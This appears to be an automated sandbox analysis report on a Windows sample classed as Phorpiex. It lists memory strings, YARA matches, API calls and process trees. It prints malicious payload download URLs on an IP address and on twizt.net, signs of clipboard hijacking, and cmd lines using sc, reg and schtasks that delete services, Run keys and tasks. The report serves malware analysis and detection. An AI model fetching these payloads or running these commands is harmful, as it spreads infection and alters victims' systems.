Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/3.exeA/
Source: sysludpvs.exe, 00000002.00000002.3804478092.00000000005F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4.exe
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4.exeswsock.dll.mui
Source: sysludpvs.exe, 00000002.00000002.3804478092.00000000005F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5
Source: 152942395.exe	String found in binary or memory: http://91.202.233.141/5.exe
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5.exe)/
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5.exeI/
Source: 152942395.exe, 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6.exe
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6.exeQ/
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6.exeT
Source: 152942395.exe, 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/7.exe
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/7.exe233.141/3.exeshqos.dll.muid
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/7.exeq/
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/7.exeshqos.dll.mui
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/7.exey/
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/8.exe
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/8.exe1.
Source: 152942395.exe, 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/9.exe
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/9.exer
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/?k
Source: 230053364.exe, 00000001.00000000.1355937745.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 230053364.exe, 00000001.00000002.1387027346.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 230053364.exe, 00000001.00000003.1376701923.00000000006B6000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000000.1376669342.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysludpvs.exe, 00000002.00000002.3804337373.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysludpvs.exe, 00000007.00000000.1492018012.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysludpvs.exe, 00000007.00000002.1513636166.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysludpvs.exe.1.dr, 230053364.exe.0.dr, newtpp[1].exe.0.dr	String found in binary or memory: http://91.202.233.141/http://45.93.20.18/12345%s%s%s:Zone.Identifier%USERPROFILE%%windir%%s
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/v
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/ws
Source: newtpp[1].exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: newtpp[1].exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: a0RkmvhSaf.exe, a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp, a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/newtpp.exe
Source: a0RkmvhSaf.exe	String found in binary or memory: http://twizt.net/newtpp.exeP0
Source: a0RkmvhSaf.exe	String found in binary or memory: http://twizt.net/peinstall.php
Source: a0RkmvhSaf.exe	String found in binary or memory: http://twizt.net/peinstall.php%temp%%s
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.php6qcJ#
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpIr
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpXr
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpq
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpshqos.dll.mui
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpystem32
Source: Amcache.hve.12.dr	String found in binary or memory: http://upx.sf.net

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

Code function: 1_2_00405A80 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

1_2_00405A80

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00404980 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	1_2_00404980
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00404980 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	2_2_00404980
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00404980 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	7_2_00404980

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

1_2_00405A80

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

1_2_00405A80

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: Process Memory Space: 230053364.exe PID: 8652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysludpvs.exe PID: 8672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysludpvs.exe PID: 9076, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000008.00000002.1533636764.0000000000815000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000008.00000002.1533636764.0000000000815000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
Source: 00000009.00000002.1614530538.00000218E1C80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000009.00000002.1614530538.00000218E1C80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown

Source: C:\Windows\sysludpvs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040D610 NtQuerySystemTime,RtlTimeToSecondsSince1980,	1_2_0040D610
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040F235 NtQueryVirtualMemory,	1_2_0040F235
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040D610 NtQuerySystemTime,RtlTimeToSecondsSince1980,	2_2_0040D610
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040F235 NtQueryVirtualMemory,	2_2_0040F235
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040D610 NtQuerySystemTime,RtlTimeToSecondsSince1980,	7_2_0040D610
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040F235 NtQueryVirtualMemory,	7_2_0040F235
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Code function: 8_2_00401D58 NtAllocateVirtualMemory,	8_2_00401D58
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Code function: 8_2_00401D18 NtWriteVirtualMemory,	8_2_00401D18
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Code function: 8_2_004019D8 NtCreateThreadEx,	8_2_004019D8
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Code function: 8_2_00401D98 NtProtectVirtualMemory,	8_2_00401D98
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Code function: 8_2_00401C98 NtClose,	8_2_00401C98
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Code function: 13_2_00007FF7C6B00FD9 NtQuerySystemInformation,	13_2_00007FF7C6B00FD9
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Code function: 18_2_00007FF7C6B20FD9 NtQuerySystemInformation,	18_2_00007FF7C6B20FD9
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Code function: 23_2_00007FF7C6AE0FD9 NtQuerySystemInformation,	23_2_00007FF7C6AE0FD9
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Code function: 28_2_00007FF7C6AF0FD9 NtQuerySystemInformation,	28_2_00007FF7C6AF0FD9
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Code function: 33_2_00007FF7C6AF0F39 NtQuerySystemInformation,	33_2_00007FF7C6AF0F39
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Code function: 40_2_00007FF7C6B006BA NtQuerySystemInformation,	40_2_00007FF7C6B006BA
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Code function: 40_2_00007FF7C6B00FD9 NtQuerySystemInformation,	40_2_00007FF7C6B00FD9
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Code function: 45_2_00007FF7C6B20F11 NtQuerySystemInformation,	45_2_00007FF7C6B20F11
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Code function: 54_2_00007FF7C6B106BA NtQuerySystemInformation,	54_2_00007FF7C6B106BA
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Code function: 54_2_00007FF7C6B10FD9 NtQuerySystemInformation,	54_2_00007FF7C6B10FD9

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

File created: C:\Windows\sysludpvs.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040A670	1_2_0040A670
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00404090	1_2_00404090
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00407C90	1_2_00407C90
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00407CB9	1_2_00407CB9
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040EFF8	1_2_0040EFF8
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00404980	1_2_00404980
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040A670	2_2_0040A670
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00404090	2_2_00404090
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00407C90	2_2_00407C90
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00407CB9	2_2_00407CB9
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040EFF8	2_2_0040EFF8
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00404980	2_2_00404980
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040A670	7_2_0040A670
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00404090	7_2_00404090
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00407C90	7_2_00407C90
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00407CB9	7_2_00407CB9
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040EFF8	7_2_0040EFF8
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00404980	7_2_00404980
Source: C:\Windows\System32\conhost.exe	Code function: 9_2_00000218E1C84306	9_2_00000218E1C84306
Source: C:\Windows\System32\conhost.exe	Code function: 9_2_00000218E1C846D6	9_2_00000218E1C846D6
Source: C:\Windows\System32\conhost.exe	Code function: 9_2_00000218E1C84F6A	9_2_00000218E1C84F6A
Source: C:\Windows\System32\conhost.exe	Code function: 9_2_00000218E1C836D2	9_2_00000218E1C836D2
Source: C:\Windows\System32\conhost.exe	Code function: 9_2_00000218E1C84B0E	9_2_00000218E1C84B0E

Source: C:\Windows\System32\conhost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 9208 -s 944

Source: 2047112978.exe.5.dr	Static PE information: No import functions for PE file found
Source: 2052810334.exe.5.dr	Static PE information: No import functions for PE file found
Source: 396820397.exe.5.dr	Static PE information: No import functions for PE file found
Source: 393932919.exe.5.dr	Static PE information: No import functions for PE file found
Source: 5[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 4[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 11[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 3[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 6[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 2[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 7[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 2028814805.exe.5.dr	Static PE information: No import functions for PE file found
Source: 417928448.exe.5.dr	Static PE information: No import functions for PE file found
Source: 10[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 8[1].exe.5.dr	Static PE information: No import functions for PE file found
Source: 399630275.exe.5.dr	Static PE information: No import functions for PE file found
Source: 203235335.exe.5.dr	Static PE information: No import functions for PE file found

Source: a0RkmvhSaf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f

Source: 00000008.00000002.1533636764.0000000000815000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000008.00000002.1533636764.0000000000815000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 00000009.00000002.1614530538.00000218E1C80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000009.00000002.1614530538.00000218E1C80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13

Source: 2028814805.exe, 00000021.00000002.1820333386.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBP

Source: classification engine

Classification label: mal100.troj.evad.winEXE@102/45@2/82

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

Code function: 1_2_00406D30 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

1_2_00406D30

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

Code function: 1_2_0040DC20 SysAllocString,CoCreateInstance,SysFreeString,

1_2_0040DC20

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\newtpp[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1600:120:WilError_03
Source: C:\Windows\sysludpvs.exe	Mutant created: \Sessions\1\BaseNamedObjects\k993947s89
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6824:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess9208

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

File created: C:\Users\user\AppData\Local\Temp\230053364.exe

Jump to behavior

Source: a0RkmvhSaf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\2028814805.exe

System information queried: HandleInformation

Source: C:\Users\user\AppData\Local\Temp\2052810334.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: a0RkmvhSaf.exe	Virustotal: Detection: 83%
Source: a0RkmvhSaf.exe	ReversingLabs: Detection: 78%

Source: unknown	Process created: C:\Users\user\Desktop\a0RkmvhSaf.exe "C:\Users\user\Desktop\a0RkmvhSaf.exe"
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Process created: C:\Users\user\AppData\Local\Temp\230053364.exe C:\Users\user\AppData\Local\Temp\230053364.exe
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Process created: C:\Windows\sysludpvs.exe C:\Windows\sysludpvs.exe
Source: C:\Windows\sysludpvs.exe	Process created: C:\Users\user\AppData\Local\Temp\152942395.exe C:\Users\user\AppData\Local\Temp\152942395.exe
Source: unknown	Process created: C:\Windows\sysludpvs.exe "C:\Windows\sysludpvs.exe"
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\634722489.exe C:\Users\user\AppData\Local\Temp\634722489.exe
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" ""
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 9208 -s 944
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\2052810334.exe C:\Users\user\AppData\Local\Temp\2052810334.exe
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "Windows Services" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "Windows Services"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\417928448.exe C:\Users\user\AppData\Local\Temp\417928448.exe
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinSrvcsDrv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\2047112978.exe C:\Users\user\AppData\Local\Temp\2047112978.exe
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinUpla" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinUpla"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\399630275.exe C:\Users\user\AppData\Local\Temp\399630275.exe
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinSrvcsDrv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\2028814805.exe C:\Users\user\AppData\Local\Temp\2028814805.exe
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Service"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Service"
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\393932919.exe C:\Users\user\AppData\Local\Temp\393932919.exe
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinDrvUpd" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinDrvUpd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\1216017805.exe C:\Users\user\AppData\Local\Temp\1216017805.exe
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process created: C:\Users\user\AppData\Local\Temp\38822795.exe C:\Users\user\AppData\Local\Temp\38822795.exe
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinUpdt" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinUpdt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f
